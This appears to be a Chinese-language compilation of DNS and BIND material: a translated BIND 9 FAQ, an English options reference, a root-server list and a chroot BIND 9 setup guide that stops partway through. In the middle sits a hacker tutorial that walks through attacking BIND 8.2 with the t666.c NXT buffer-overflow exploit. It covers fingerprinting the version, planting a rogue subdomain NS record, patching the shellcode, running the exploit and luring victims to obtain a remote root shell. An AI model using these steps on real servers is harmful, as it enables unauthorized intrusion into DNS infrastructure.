>192.168.0.1 逆向IP解析
>set type=AAAA 设置查询地址类型为IPv6地址类型。
>set type=A 设置查询地址类型为IPv4地址类型。
>exit 退出。
BIND 9的FAQ
本文译自BIND主网站上的一篇文章：http://www.isc.org/products/BIND/FAQ.html。应该说，这些问题都非常典型，对BIND 9用户的日常维护和管理可以提供不小的帮助。
1. 当我在Linux 2.2.x上使用以--enable-threads选项编译的bind程序时，为什么-u参数不起作用？
答：Linux线程并没有完全实现Posix线程（pthreads）标准。特别是setuid()只能对当前线程起作用，而不适用于整个进程。正是由于此项限制，Linux上的BIND 9就无法像在其他支持的系统平台上一样使用setuid()。在创建线程之前不能调用setuid()，因为服务器只有在线程启动之后才能开始监听预留端口。
对于2.2.18或2.3.99-pre3以及更新的内核而言，则能在调用setuid()之后仍然保持可用性。这使得BIND 9可以更早些调用setuid()，而同时又保持了绑定预留端口的能力。这是针对Linux所作的特别处理。
在2.2内核上，BIND 9的确放弃了许多root权限，所以相对于那些没有放弃权限的root进程而言，这会更加安全一些。
如果Linux线程已经正常工作，那么这项限制也就不复存在。
用户可以使用--disable-threads选项（这是默认选项）来编译BIND9，这样会生成一个非线程的版本，用户能够使用-u选项。
2、为什么named的日志中会给出警告信息"no TTL specified - using SOA MINTTL instead"？
答：你的zone文件不符合RFC1035标准。你可以使用两种方法来解决此问题：
1）在zone文件的开头加入一行对TTL的定义，例如：$TTL 86400
2）在zone文件的第一条记录中包含TTL字段，例如：example.com. 86400 IN SOA ns hostmaster
3、为什么我在Linux上会看到5个（或者更多）的named副本？
答：在ps下每个Linux线程也会像进程一样显示出来。一般运行的线程个数为n+4，这里n表示CPU的数目。注意在内存量的使用上并不遵从累加的原则；如果每个进程使用10M内存，那么所有线程总共也只使用10M内存。
4、为什么即便我在Linux系统上用root身份运行BIND 9，在访问配置文件或zone文件时，仍然会得到关于"permission denied"错误的日志？
答：在Linux上，BIND 9在启动时就放弃了绝大部分root权限，这其中就包括打开其他用户所属文件的权限。因此，如果服务器是以root身份运行的，那么配置文件和zone文件也应该由root所有。
5、为什么我得到类似于"dns_zone_load: zone foo/IN: loading master file bar: ran out of space"的错误提示？
答：这通常是由于TXT记录中少了一个引号所致。检查所有TXT记录是否都包含了完整的引号。
6、我怎样能够在Linux上从多线程named生成一个可用的core文件？
答：如果Linux内核是2.4.7或更新的版本，多线程core导出（dump）是可用的（也就是说，将导出正确的线程）。否则，如果使用的是2.2内核，那么需要应用在contrib/linux/coredump-patch中的内核补丁并重新编译内核。该补丁可以使多线程程序导出正确的线程。
7、我怎样限制别人查询我的服务器版本？
答：在named.conf的"options"段中放置"version"选项，并将其值设成与你实际使用版本不同的其他版本。注意：这样做不能避免攻击，反而可能会妨碍别人对你服务器问题的诊断尝试，而且这同样可能成为别人鉴别你服务器的标志。
8、我怎样限制只有远程用户才能查询服务器版本？
答：当存有版本信息的内部视图被最后匹配时，下面的视图语句将拦截查询。上面一问回答中的警告在这里同样适用。
view "chaos" chaos {
match-clients { ; };
allow-query { none; };
zone "." {
type hint;
file "/dev/null"; // or any empty file
};
};
9、"no source of entropy found"或"could not open entropy source foo"是什么意思？
答：服务器需要信息熵（entropy）源来执行特定的操作，通常这与DNSSEC相关。这些信息提示没有信息熵源。在有/dev/random或类似设备的系统上，默认会使用它们。信息源也可以通过named.conf中的random-device选项来定义。
10、我安装了BIND 9并且重新启动了named，但是它仍然是BIND 8，这是为什么？
答：BIND 9默认安装在/usr/local下。而BIND 8通常安装在/usr下。检查是否正确的named在运行。
11、我尝试使用TSIG来验证动态更新或者zone传输。我确信密钥设置是正确的，但是服务器仍然拒绝TSIG，为什么？
答：这可能是时钟不准的问题。检查客户端的时钟和服务器上的是否同步（例如使用ntp）。
12、我尝试编译BIND 9，但"make"却因为某些文件无法找到而失败了。为什么？
答：使用并行或分布式的"make"来编译BIND 9是不支持的，而且也无法工作。如果你确实使用的是它们中一种，建议你使用一般的make或gmake来替代。
13、我有一台BIND 9的主服务器和一台BIND 8.2.3的从服务器，而主服务器记录到类似于"notify to 10.0.0.1#53 failed: unexpected end of input"的错误信息。哪有问题？
答：该错误信息是由BIND 8.2.3中一个已知的bug所致，这在BIND 8.2.4中得到了修复。你可以完全不必理会它 - 不管错误信息如何，notify都在正常工作着。
14、我不断地得到如下的日志信息，为什么？
Dec 4 23:47:59 client 10.0.0.1#1355: updating zone 'example.com/IN': update failed: 'RRset exists (value dependent)' prerequisite not satisfied (NXRRSET)
答：DNS更新程序允许更新请求在进行更新之前进行测试以确认特定的条件是否满足。以上信息说明条件不满足，无法继续进行更新。参看doc/rfc/rfc2136.txt以获知关于前提条件的更多信息。
15、我不断地得到如下的日志信息，为什么？
Jun 21 12:00:00.000 client 10.0.0.1#1234: update denied
答：有人在尝试使用RFC2136动态更新协议来更新你的DNS数据。Windows 2000的机器有这样的习惯：无需事先配置就发送动态更新请求给DNS服务器。如果更新请求来自于Windows 2000机器，请参看
16、我看到如下的日志信息，为什么？
couldn't open pid file '/var/run/named.pid': Permission denied
答：很可能你是以非root用户在运行named，而该用户又对/var/run没有写权限。通常的修复方法是创建由named用户所有的/var/run/named目录并设置pid文件为"/var/run/named/named.pid"，或者设置pid文件为"named.pid"，这将把该文件放到由directory选项指定的目录（在此情况下，该目录必须对named用户可写）下去。
17、当我在执行“dig . ns"时，许多关于root服务器的A记录都丢失了。为什么？
答：这是正常的情况，并无大碍。在BIND 9实现RFC 2181的信任级别（trust ranking）的方法和BIND 9对避免相关数据（glue）进入回答所作的努力上，有些令人迷惑的副面效果。
当BIND 9第一次启动并初始化其缓冲时，它接收根服务器地址作为根服务器权威响应的附加数据，并且这些记录符合包含在响应中作为附加数据的条件。随后，它接收根服务器地址的子集作为根服务器的非权威（推荐）响应的附加数据。这导致这些地址现在被视为非权威的（相关的）数据，它们不适合包含在响应中。
服务器的确总是有一组完整的根服务器地址作为缓冲，只是有可能没有包括全部的地址作为附加数据，这取决于它们最后接收的是响应还是相关数据。你通常可以使用显式查询如“dig a.root-servers.net A"来查找这些地址。
18、从BIND 9主服务器传输zone到Windows 2000从服务器失败了。为什么？
答：这可能是由于Windows 2000 DNS服务器的一个bug所致，在Windows机器上，大于16K的DNS消息就无法正确处理。这可以通过设置选项"transfer-format one-answer;"来解决。也可以检查你的zone是否包含了内嵌的空格或其他的特殊字符，例如"John\032Doe\213s\032Computer"，因为根据已知信息，这些名字也会导致Windows 2000从服务器不正确地拒绝zone。
19、为什么当我在执行"rndc reload"或SIGHUP时，我的zone文件并不重新载入？
答：既可以通过编辑zone文件并重新引导服务器来更新zone文件，也可以通过动态更新来实现，但不能同时使用两种方法。如果你已经针对zone使用了"allow-update"选项来激活动态更新，那你就不能再手工编辑zone文件，此时服务器将不再尝试重新载入zone文件。
20、我可以在域名服务器上查询域名服务器，但不能从其他机器上查到。为什么？
答：这通常是由防火墙配置阻止了查询和/或响应所导致的结果。
21、我怎样可以让服务器同时作为内部和外部视图的从服务器？当我试着这样做时，从服务器上的两个视图传输了主服务器上的同一视图。
答：你应该为主服务器和从服务器设定多IP地址。例如：
主服务器： 10.0.1.1 (internal), 10.0.1.2 (external, IP alias)
internal:
match-clients { !10.0.1.2; !10.0.1.4; 10.0.1/24; };
notify-source 10.0.1.1;
transfer-source 10.0.1.1;
query-source address 10.0.1.1;
external:
match-clients { any; };
recursion no; // don't offer recursion to the world
notify-source 10.0.1.2;
transfer-source 10.0.1.2;
query-source address 10.0.1.2;
从服务器：10.0.1.3 (internal), 10.0.1.4 (external, IP alias)
internal:
match-clients { !10.0.1.2; !10.0.1.4; 10.0.1/24; };
notify-source 10.0.1.3;
transfer-source 10.0.1.3;
query-source address 10.0.1.3;
external:
match-clients { any; };
recursion no; // don't offer recursion to the world
notify-source 10.0.1.4;
transfer-source 10.0.1.4;
query-source address 10.0.1.4;
将external地址设为别名，这样所有在这台机器上的dns客户端默认看到的是internal视图。
22、当我尝试使用rndc时，我得到错误信息"network unreachable"或"connection refused"，尽管我知道named正在运行。
答：你可能在/etc/rndc.conf中有"default-server localhost"，你的/etc/hosts或DNS将"localhost"同时解析成IPv4回退地址127.0.0.1和IPv6回退地址::1，而此时你的IPv6根本无法工作。将"default-server localhost"改作"default-server 127.0.0.1"以确保rndc不会尝试使用IPv6连接域名服务器。
23、我用的是Freebsd 4.4，运行"rndc-confgen -a"就停在那儿不动？
答：没有配置/dev/random。使用rundcontrol(8)告知内核使用特定中断作为随机事件的源。你可以通过在/etc/rc.conf中设置rand_irqs来使之永久生效。
/etc/rc.conf
rand_irqs="3 14 15"
24、为什么named监听的UDP端口不是53？
答：named使用系统选定的端口连接到其他域名服务器进行查询。这可以通过使用query-source进行覆盖以锁定端口和/或地址。
25、当传输zone文件时，我得到错误信息如"multiple RRs of singleton type"以及"CNAME and other data"。这是什么意思？
答：这提示了主zone文件不正确。你可以通过使用dig来找到zone传输所包含的记录，然后在其上运行named-checkzone。
dig axfr example.com @master-server > tmp
named-checkzone example.com tmp
26、我得到错误信息如"named.conf: 99 : unexpected end of input"，这里99是named.conf的最后一行。
答：有些文本编辑器（记事本和写字板）无法在文本文件的最后一行放置行终止标识（例如CR/LF）。这可以通过在文件的最后“加入”一空行来修复。named期望在EOL后紧跟的是一个EOF，如果不符合此条件，它就当作被删除了。
27、我得到警告信息如"zone example.com/IN: refresh: failure trying master 1.2.3.4#53: timed out".
答：1）检查你是否可以由从服务器到主服务器进行UDP查询：
dig +norec example.com soa @1.2.3.4
2）你可能生成的查询超过了从服务器所能处理的能力。降低串行查询率。
serial-query-rate 5; // default 20
BIND Configuration File Guide - options Statement
Definition and Use
The options statement sets up global options for BIND to use. This statement may appear only one time in a configuration file; if more than one occurrence is found, the first occurrence determines the actual options used, and a warning will be generated. If there is no options statement, an options block with each option set to its default will be used.
Pathnames
directory
The working directory of the server. Any nonabsolute pathnames in the configuration file will be taken as relative to this directory. The default location for most server output files (for example, named.run) is this directory. If a directory is not specified, the working directory defaults to ".", the directory from which the server was started. The directory specified should be an absolute path.
named-xfer
The pathname to the named-xfer program that the server uses for inbound zone transfers. If not specified, the default is operating system dependent (for example, /usr/sbin/named-xfer).
dump-file
The pathname of the file the server dumps the database to when it receives the SIGINT signal. If not specified, the default is named_dump.db.
memstatistics-file
The pathname of the file the server writes memory usage statistics to when it exits, if deallocate-on-exit is yes. If not specified, the default is named.memstats.
pid-file
The pathname of the file into which the server writes its process ID. If not specified, the default is /var/run/named.pid. You use the pid file if you want to send signals to the running named daemon.
statistics-file
The pathname of the file the server appends statistics to when it receives the SIGILL signal. If not specified, the default is named.stats.
Boolean Options
auth-nxdomain
If yes, the AA bit is always set on NXDOMAIN responses, even if the server is not actually authoritative. The default is yes. Do not turn off auth-nxdomain unless you are sure you know what you are doing: some older software may be problematic.
deallocate-on-exit
If yes, when the server exits, it deallocates every object it allocated, and then writes a memory usage report to the memstatistics-file. The default is no, because it is faster to let the operating system clean up. The deallocate-on-exit option is useful for detecting memory leaks.
fake-iquery
If yes, the server will simulate the obsolete DNS query type IQUERY. The default is no.
fetch-glue
If yes (the default), the server will fetch "glue" resource records it does not have when constructing the additional data section of a response. You can use the fetch-glue no option in conjunction with the recursion no option to prevent the server's cache from growing or becoming corrupted (at the cost of requiring more work from the client).
multiple-cnames
If yes, multiple CNAME resource records will be allowed for a domain name. The default is no. Allowing multiple CNAME records is against standards and is not recommended. Multiple CNAME support is available because previous versions of BIND allowed multiple CNAME records, and these records have been used for load balancing by a number of sites.
notify
If yes (the default), DNS NOTIFY messages are sent when a zone the server is authoritative for changes. The use of NOTIFY speeds convergence between the master and its slaves. Slave servers that receive a NOTIFY message and understand it will contact the master server for the zone to see if they need to do a zone transfer; if they do, they will initiate it immediately. The notify option may also be specified in the zone statement, in which case it overrides the options notify statement.
recursion
If yes, and a DNS query requests recursion, the server will attempt to do all the work required to answer the query. If recursion is not on, the server will return a referral to the client if it does not know the answer. The default is yes. See also the fetch-glue option.
Forwarding
You can use the forwarding facility to create a large sitewide cache on a few servers, reducing traffic over links to external nameservers. You can also use it to allow queries by servers that do not have direct access to the Internet but wish to look up exterior names anyway. Forwarding occurs only on those queries for which the server is not authoritative and does not have the answer in its cache.
forward
This option is meaningful only if the forwarders list is not empty. A value of first, the default, causes the server to query the forwarders first, and if that does not answer the question the server will then look for the answer itself. If only is specified, the server queries only the forwarders.
forwarders
Specifies the IP addresses to be used for forwarding. The default is the empty list (no forwarding).
Name Checking
The server can check domain names based upon their expected client contexts. For example, a domain name used as a host name can be checked for compliance with the RFCs defining valid host names.
The following checking methods are available:
ignore
No checking is done.
warn
Names are checked against their expected client contexts. Invalid names are logged, but processing continues normally.
fail
Names are checked against their expected client contexts. Invalid names are logged, and the offending data is rejected.
The server can check names in three areas: master zone files, slave zone files, and in responses to queries the server has initiated. If you specify check-names response fail, and answering the client's question would require sending an invalid name to the client, the server will send a REFUSED response code to the client.
The defaults are:
check-names master ignore;
check-names slave ignore;
check-names response ignore;
You can also specify the check-names option in the zone statement, in which case it overrides the options check-names statement. When used in a zone statement, the area is not specified (because it can be deduced from the zone type).
Access Control
You can restrict access to the server based on the IP address of the requesting system. See address_match_list for details on how to specify IP address lists.
allow-query
Specifies which hosts are allowed to ask ordinary questions. You can also specify the allow-query option in the zone statement, in which case it overrides the options allow-query statement. If not specified, the default is to allow queries from all hosts.
allow-transfer
Specifies which hosts are allowed to receive zone transfers from the server. You can also specify the allow-transfer option in the zone statement, in which case it overrides the options allow-transfer statement. If not specified, the default is to allow transfers from all hosts.
Interfaces
The interfaces and ports that the server will answer queries from may be specified using the listen-on option. The listen-on option takes an optional port and an address_match_list. The server will listen on all interfaces allowed by the address match list. If a port is not specified, port 53 will be used.
Multiple listen-on phrases are allowed. For example:
listen-on { 5.6.7.8; };
listen-on port 1234 { !1.2.3.4; 1.2/16; };
If no listen-on phrase is specified, the server listens on port 53 on all interfaces.
Query Address
If the server does not know the answer to a question, it will query other nameservers. The query-source option specifies the address and port used for such queries. If address is * or is omitted, a wildcard IP address (INADDR_ANY) will be used. If port is * or is omitted, a random unprivileged port will be used. The default is:
query-source address * port *;
Note: query-source currently applies only to UDP queries. TCP queries always use a wildcard IP address and a random unprivileged port.
Zone Transfers
max-transfer-time-in
Inbound zone transfers (named-xfer processes) running longer than this many minutes will be terminated. The default is 120 minutes (2 hours).
transfer-format
The server supports the following zone transfer methods:
one-answer
Uses one DNS message per resource record transferred. This is the default.
many-answers
Packs as many resource records as possible into a message. This method is more efficient, but is only known to be understood by BIND 8.1 and patched versions of BIND 4.9.5.
You can override the transfer-format option on a per-server basis by using the server statement.
transfers-in
The maximum number of inbound zone transfers that can be running concurrently. The default value is 10. Increasing transfers-in may speed up the convergence of slave zones, but it also may increase the load on the local system.
transfers-out
This option will be used in the future to limit the number of concurrent outbound zone transfers. It is checked for syntax, but is otherwise ignored.
transfers-per-ns
The maximum number of inbound zone transfers (named-xfer processes) that can be concurrently transferring from a given remote nameserver. The default value is 2. Increasing The transfers-per-ns option may speed up the convergence of slave zones, but it also may increase the load on the remote nameserver. You can override the transfers-per-ns option on a per-server basis by using the transfers option of the server statement.
Resource Limits
The server's usage of many system resources can be limited. Some operating systems do not support some of the limits and a warning will be generated if an unsupported limit is set in the configuration file.
Scaled values are allowed when specifying resource limits. For example, you can use 1G instead of 1073741824 to specify a limit of one gigabyte. The unlimited option requests unlimited use, or the maximum available amount. The default option uses the limit that was in force when the server was started. See size_spec for more details.
coresize
The maximum size of a core dump. The default is default.
datasize
The maximum amount of data memory the server may use. The default is default.
files
The maximum number of files the server may have open concurrently. The default is unlimited.
stacksize
The maximum amount of stack memory the server may use. The default is default.
Periodic Task Intervals
cleaning-interval
The server will remove expired resource records from the cache every cleaning-interval minutes. The default is 60 minutes. If set to 0, no periodic cleaning occurs.
interface-interval
The server will scan the network interface list every interface-interval minutes. The default is 60 minutes. If set to 0, interface scanning occurs only when the configuration file is loaded. After the scan, listeners will be started on any new interfaces (provided they are allowed by the listen-on configuration). Listeners on interfaces that have gone away will be cleaned up.
statistics-interval
Nameserver statistics will be logged every statistics-interval minutes. The default is 60. If set to 0, no statistics are logged.
Topology
Typically, when the server chooses a nameserver to query from a list of nameservers, it prefers the one that is topologically closest to itself. The topology statement takes an address_match_list and interprets it in a special way. Each top-level list element is assigned a distance. Nonnegated elements get a distance based on their position in the list, where the closer the match is to the start of the list, the shorter the distance is between it and the server. A negated match will be assigned the maximum distance from the server. If there is no match, the address will get a distance that is farther than any nonnegated list element, and closer than any negated element.
The following example prefers servers on network 10 the most, followed by hosts on network 1.2.0.0 (netmask 255.255.0.0), and network 3, with the exception of hosts on network 1.2.3 (netmask 255.255.255.0), which is preferred least of all:
topology {
10/8;
!1.2.3/24;
{ 1.2/16; 3/8; };
};
The default topology is:
topology { localhost; localnets; };
怎样查询一个DNS,如何发现DNS的漏洞
1. 怎样查询一个DNS?
首先，你或许知道如果你配置好TCP/IP后希望能通过你的浏览器直接键入主机名就能找到一个网站，而不必每次都键入复杂难记的IP地址的话，你还需要配置DNS服务器，你可以从你的ISP那里得到DNS服务器的地址。UNIX系统提供了一个叫nslookup的实用工具来对DNS进行查询，它的语法如下：
$nslookup
或者
$nslookup
配置DNS需要两个关于域的列表——zone文件，一个zone文件用来将域名解析为IP，另一个则将IP解析为域名，nslookup则是两者交互的工具，简单地在shell下键入nslookup并回车，你会得到一个>提示符，然后我们就可以输入IP地址或者域名了。关于nslookup的其它命令在后面我们会再陆续提到……
2. 如何发现DNS的漏洞?
记住我们是在寻找可利用的nameserver。
首先我们必须找出运行在远程机器上DNS服务器的版本号，而且最好还要找出它的操作系统——现在已经有很多关于这些的讨论。我们将使用一个在大多数UNIX系统中都能使用的实用工具dig来做这件事，它的语法是：
$dig @ version.bind chaos txt | grep \"8
然后查看输出，如果你看到的是8.2或者8.2.1或8.2.2，那么它存在漏洞，如果是8.2.2P2 - P5则是安全的。
如果你无法从你的终端中得到任何输出，则可能是DNS管理员修改过源代码，限制了这一信息的输出，当然它也有可能是存在漏洞的。
Section B - 如何编辑DNS？
--------------------------------------
DNS的配置文件都是些文本，所以你要更改或者添加入口只需要编辑该文件并重启服务就行了，这个文件是/etc/named.conf或者/etc/named.boot，如果/etc/named.conf存在，那么它就是你的目标了……
1. 怎样找到域文件?
这是很简单的工作——你需要编辑zone文件来改变或者添加一个通往该域的入口，比如说——infoseek.com吧，主机名是www，所以正式域名(FQDN)就是www.infoseek.com(FQDN=Fully Qualified Domain Name)，要找到该zone文件我们首先要向DNS服务器进行查询，具体如下：
$nslookup
Default Server: xxxxxx.xxxxxxx.xx.xx
Address: xxx.xx.xx.xx
>set q=ns
>infoseek.com
>infoseek.com nameserver = NS-UU.infoseek.com
>NS-UU.infoseek.com internet address = 198.5.208.3
瞧，现在我们得到了infoseek.com的name server的IP地址，我们先假定自己是那台机器的root吧，我们SSH进入DNS，查找文件/etc/named.conf，我们可以在它的options部分看到
directory "/var/named"
这表示zone文件在/var/named下。
更深入一点看看zone部分，在infoseek.com里我们可以看到：
zone "infoseek.com"{
type master;
file "infoseek.com.zone";
};
所以现在我们知道我们所感兴趣的zone文件是：/var/named/infoseek.com.zone这就是我们所要编辑的东西了。
2. 怎样编辑域文件?
首先让我们好好看看zone文件吧
在顶部的SOA段的东东暂时先不放到一边，往下看……你可以看到：
@ IN NS NS-UU.infoseek.com.
www IN A 204.192.96.173
ftp IN CNAME corp-bbn
corp-bbn IN A 204.192.96.2
.
.
.
有几种不同类型的记录，但要使我们的exploit运行起来，你只需要盯紧NS段就行了……
quack注：
(对/etc/named.conf或/etc/named.boot中的命令，偶现在作一下简单的介绍：
a、SOA ：这是主服务器设定文件中必须设的命令，通常放在文件的第一行，如下：
@ 9999999 IN SOA NS-UU.infoseek.com. quack.NS-UU.infoseek.com.
壹 贰 叁 肆 伍 陆
1987022701;Searial 柒
10800;Refresh 3 hour 捌
3600 ;Retry 1 hour 玖
3600000;expire 1000 hours 拾
86400 );Minimum 24 hours 拾壹
壹：@表示当前域
贰：TTL(time-to_live)，意思是在TTL时间内如果用户没有使用这个域名则会自动消失，9999999表示永不超时。
叁：地址类别，无须改动，填IN既可
肆：SOA，开头记录
伍：域名服务器，这里要注意的是必须在最后加上.如果没有加入.的话，系统会在最后加上你所定义的域名。比如
www IN A 204.192.96.173
也可以写成
www.infoseek.com. IN A 204.192.96.173
两者是一样的。
陆：管理员的EMAIL，同样最后要加.
柒：版本序列
捌：更新时间
玖：重试时间
拾：终止时间
拾壹：也是TTL，如果贰是空的话，将以此值为准
b、A：指定域名和IP地址的对应关系，如：
www IN A 204.192.96.173
壹 贰 叁 肆
壹：主机名称
叁：A命令在些就能够使www.infoseek.com与204.192.96.173对应
c、NS：域名服务器的资源记录(这就是稍后我们要改的地方了，睁大眼哦)
@ IN NS NS-UU.infoseek.com.
壹 贰 叁 肆 伍
壹：填机器名，或者@或留空表示自己所在域
贰：留空则表示使用默认的TTL时间
伍：域名服务器名
d、CNAME：设定一台机器可以有的几个域名，如：
ftp IN CNAME corp-bbn
corp-bbn IN A 204.192.96.2
这样可以使域名为ftp.infoseek.com的机器和corp-bbn.infoseek.com所指的是同一台机器。
e、PTR：让配置文件中的主机可以使用IP地址来知道所对应的域名)
为了让exploit正常工作，我们还需要加入一个子域，所以还是假定我们是这台NS-UU.infoseek.com的root吧……
如何加入一个子域呢?
我们只需要加入另一个NS记录
subdomain IN NS hacker.box.com.
这表示subdomain.infoseek.com的名字服务器是hacker.box.com,这个域名需要被解析成你的机器的IP，所以用你的正式域名替换它吧……现在我们需要重新启动名字服务器来使我们的改动生效。用下面的命令：
#/usr/sbin/ndc restart
new pid is 24654
#
Section C - 如何利用存在漏洞的机器？
-------------------------------------------------
1. 开始之前需要准备什么？
一台要运行exploit的机器
一台有ROOT权限的DNS，更改过zone文件的……
2. 相关理论
这个利用程序是根据BIND versions 8.2 - 8.2.2的缓冲溢出来远程获取rootshell的。它将利用程序绑定在本地机器的端口53充当DNS SERVER，当某台机器进行查询时，会发送一个大的NXT记录——其中包含能使远程BIND SERVER溢出的代码——当然远程机器必须存在漏洞……
如果你对缓冲区溢出感兴趣的话，可以阅读Aleph One的精采文章：
Phrack 49 Article 14 - Smashing The Stack For Fun And Profit.
URL: http://www.phrack.com/search.phtml?view&article=p49-14
译者注：这篇文章已由TT翻译成中文，在白云黄鹤BBS、HackerBBS及绿盟BBS里都有
3. 从何处获得利用程序?
http://www.hack.co.za/daem0n/named/t666.c
4. 我为什么要patch利用程序？
你或许听说过可能要对利用程序进行patch才能正确使用，这是因为ADM认为只有比较出色的hacker才能使用他们的exploit，所以他们在代码里留了个小小的bug——实际上就是将shellcode里的/bin/sh替换成了/adm/sh……
5. 如何patch?
只需要对代码做很小的改动：
/ = 2F(HEX) ===> / = 2F(HEX)
a = 61(HEX) ===> b = 62(HEX)
d = 64(HEX) ===> i = 69(HEX)
m = 6D(HEX) ===> n = 6E(HEX)
/ = 2F(HEX) ===> / = 2F(HEX)
所以所有我们需要做的就是找出源代码中的0x2f,0x61,0x64,0x6d,0x2f替换成0x2f,0x62,0x69,0x6e,0x2f就行了。
6. 如何编译?
$gcc t666.c -o t666
$
7. 如何运行?
$su
Password:
#./t666 1
当然如果在这台你运行exploit的机器上如果原来有运行named的话，要先杀掉
# killall -9 named
这时exploit就已经绑定在53端口并且等待有漏洞的机器的查询了，一旦某个查询请求发出，这台机器上会有如下输出：
Received request from xxx.xx.xx.xx:1025 for xxx.xxxxxxxxx.xx.xx type=1
好了，如果来查询的机器是运行Linux Redhat 6.x - named 8.2/8.2.1
(from rpm)的话，你就爽了，能够拿到一个rootshell了……为什么要红帽呢？因为我们在运行时指定了./t666 1，看看下边的usage就知道了……我只在红帽LINUX下测试运行，所以不要询问为何solaris不能用之类的问题，我没有solaris来测试，而且我也没有更多的时间来做这件事……
你将会得到一个远程的root shell——如同现在大多数远程利用程序一样，开的将是1524的端口。下面是这个利用程序的usage……
Usage: ./t666 architecture [command]
Available architectures:
1: Linux Redhat 6.x - named 8.2/8.2.1 (from rpm)
2: Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1
3: Solaris 7 (0xff) - named 8.2.1
4: Solaris 2.6 - named 8.2.1
5: FreeBSD 3.2-RELEASE - named 8.2
6: OpenBSD 2.5 - named 8.2
7: NetBSD 1.4.1 - named 8.2.1
8. 让目标DNS服务器查询我的IP
当你在name server里添加了一个subdomain并将自己加入DNS后，一切都很简单了，你需要做的仅仅是在你加入的主域中查询一个有漏洞的主机……
$nslookup
>server
>www.subdomain.infoseek.com
看看会发生什么吧——当查询发生时，NS-UU.infoseek.com会告诉victim机器你的hacker.box.com.是最权威的NAME SERVER……所以victim就找上门来了，然后……:)
Root Nameservers List
全世界根name 服务器
Root servers are operated by twelve organisations often referred to as the "root server operators". They are
A - VeriSign Global Registry Services
B - Information Sciences Institute
C - Cogent Communications
D - University of Maryland
E - NASA Ames Research Center
F - Internet Systems Consortium, Inc.
G - U.S. DOD Network Information Center
H - U.S. Army Research Lab
I - Autonomica/NORDUnet
J - VeriSign Global Registry Services
K - RIPE NCC
L - ICANN
M - WIDE Project
How to configure a secure DNS
配置一个安全的chroot DNS
1、安装Bind 9
虽然我所用的Red Hat AS3 中有rpm包，但是为了方便其他操作系统的朋友，我们还是从源代码包方式安装。首先从ISC公司的主页(http://www.isc.org/products/BIND/)下Bind 9 软件包。
wget ftp://ftp.isc.org/isc/bind9/9.2.3/bind-9.2.3.tar.gz
(我没下最新的，下的是稳定版，您可以根据自己的需要选取)
接着开始解压缩（为描述简单，以下操作如无特殊声明，都是以root权限进行）
tar vzxf bind-9.2.3.tar.gz
卸载Red Hat 中原有的Bind，一共有三个rpm包
rpm -e bind bind-utils caching-nameserver
进入该目录开始编译安装
./configure --prefix=/usr/local --disable-ipv6 --disable-threads
#因为ipv6和线程方式我用不到就去掉了，把Bind 9安装到/usr/local下
make;make install
到此Bind 9已经安装完成了，普通的 DNS Server 到此就安装结束了，而对我们的chroot 而言才刚开始呢。
2、构建chroot 目录环境
a.创建Bind 工作目录/chroot/named及下属工作目录
rm -rf /chroot/named #删除原来的旧目录，之所以加这句是我写shell的时候调试方便
mkdir -p /chroot/named
cd /chroot/named
mkdir dev （虚拟/dev）
mkdir etc （虚拟/etc）
mkdir logs （存放日志）
mkdir -p var/run （将来会在这下面放一个named.pid文件）
b.ind的组和用户named
groupadd named
useradd -g named -d /chroot/named -s /bin/true named
pASswd -l named #-l ,Lock,表示锁定用户
c.创建虚拟设备（dev），日志记录的时候有的选项可能用到它们。在默认情况下，是使用/dev目录下的文件，但是由于我们需要把DNS限制到一个目录，所以必须完全把/dev下用到的文件（或者说设备）模拟过来才可以。
ls -lL /dev/zero /dev/null /dev/random
看到类似
crw-rw-rw- 1 root root 1, 3 2003-09-15 /dev/null
crw-r--r-- 1 root root 1, 8 2003-09-15 /dev/random
crw-rw-rw- 1 root root 1, 5 2003-09-15 /dev/zero
这样的，将其中的1,3这样的数字记录下来，这表示主设备号和次设备号（一般来说主设备号用来区分设备的种类；次设备号则是为了作唯一性区分，标明不同属性——注意，在unix系统中是把设备也当作文件来对待的），在redhat 9下，ls加不加-L参数都无所谓，但是在Solaris下则一定要加上才可以显示。
mknod dev/null c 1 3
mknod dev/zero c 1 5
mknod dev/random c 1 8
d.复制时钟文件到我们chroot的etc下，Linux 的时钟设置文件为：/etc/localtime ，实际上这个文件是 /usr/share/zoneinfo 目录下对应文件的符号连接。（假设我们所处的地区位于上海，那么只要运行以下的命令就可以设置时区了。 ln -sf /usr/share/zoneinfo/ASia/Shanghai /etc/localtime；注意在天缘用的solaris 2.6中并没有此文件，而是该用/usr/share/lib/zoneinfo/GB）
cp /etc/localtime etc/
3、创建和设置BIND 9配置文件
默认情形下，bind以/etc/named.conf文件为配置文件。但由于我们这里是要做chroot的DNS，因此需要把named.conf放到/chroot/named/conf下去，然后再做一个符号连接到/etc/named.conf。首先创建并编辑named.conf文件（由于介绍DNS的文章大多对named.conf的配置解释得相当详细，因此我就不一句句解释了，大家结合注释，参考其他文章看看，很容易理解的）
vi /chroot/named/etc/named.conf，输入以下内容(由于每个人的配置都不同，所以天缘在这里只列出一个做cache only的DNS的设置)
options {
//注意，由于是chroot方式，所以以下的/conf、/var并不是系统中真正的/conf和/var目录，而是指/chroot/named下的同名目录，此配置文件中所有地方都如此
directory "/conf"; //配置文件所在目录
pid-file "/var/run/named.pid"; //进程守护文件
statistics-file "/var/run/named.stats"; //状态输出文件；在rndc中用到
dump-file "/var/run/named.db"; //输出数据库文件，在rndc中用到
//隐藏真实版本号,我这里写个4.0作刻意误导
version "[4.0]";
logging { //日志记录
channel LAMER_log {
file "/logs/DNS-lamer.log" versions 3 size 10m;
severity info;
print-severity yes; print-time yes;
};
channel SEC_log {
file "/logs/DNS-sec.log" versions 3 size 10m;
severity info;
print-severity yes; print-time yes;
};
channel STAT_log {
file "/logs/DNS-stat.log" versions 3 size 10m;
severity info;
print-severity yes; print-time yes;
};
category cname { null; };
category lame-servers { LAMER_log; };
category security { SEC_log; };
category statistics { STAT_log; };
};
//根解析
zone "." {
type hint;
file "named.root";
};
// localhost 解析
zone "localhost" {
type mASter;
file "named.localhost";
notify no;
};
// localhost 反向解析
zone "0.0.127.in-addr.arpa" {
type mASter;
file "named.127.0.0";
notify no;
};
之后进行符号连接到/etc目录下
ln -s /chroot/named/etc/named.conf /etc/named.conf
好了，接下来，当然就是设置named.root、named.local、named.127.0.0三个文件了，注意，这三个文件的真实位置是在/chroot/named/conf下哦。
首先是named.root的建立
dig @a.root-servers.net . ns > /chroot/named/conf/named.root #这是在redhat下的用法，因为天缘所用的solaris默认（我用的2.6）没有dig命令，所以在solaris下我们用
cd /chroot/named/conf
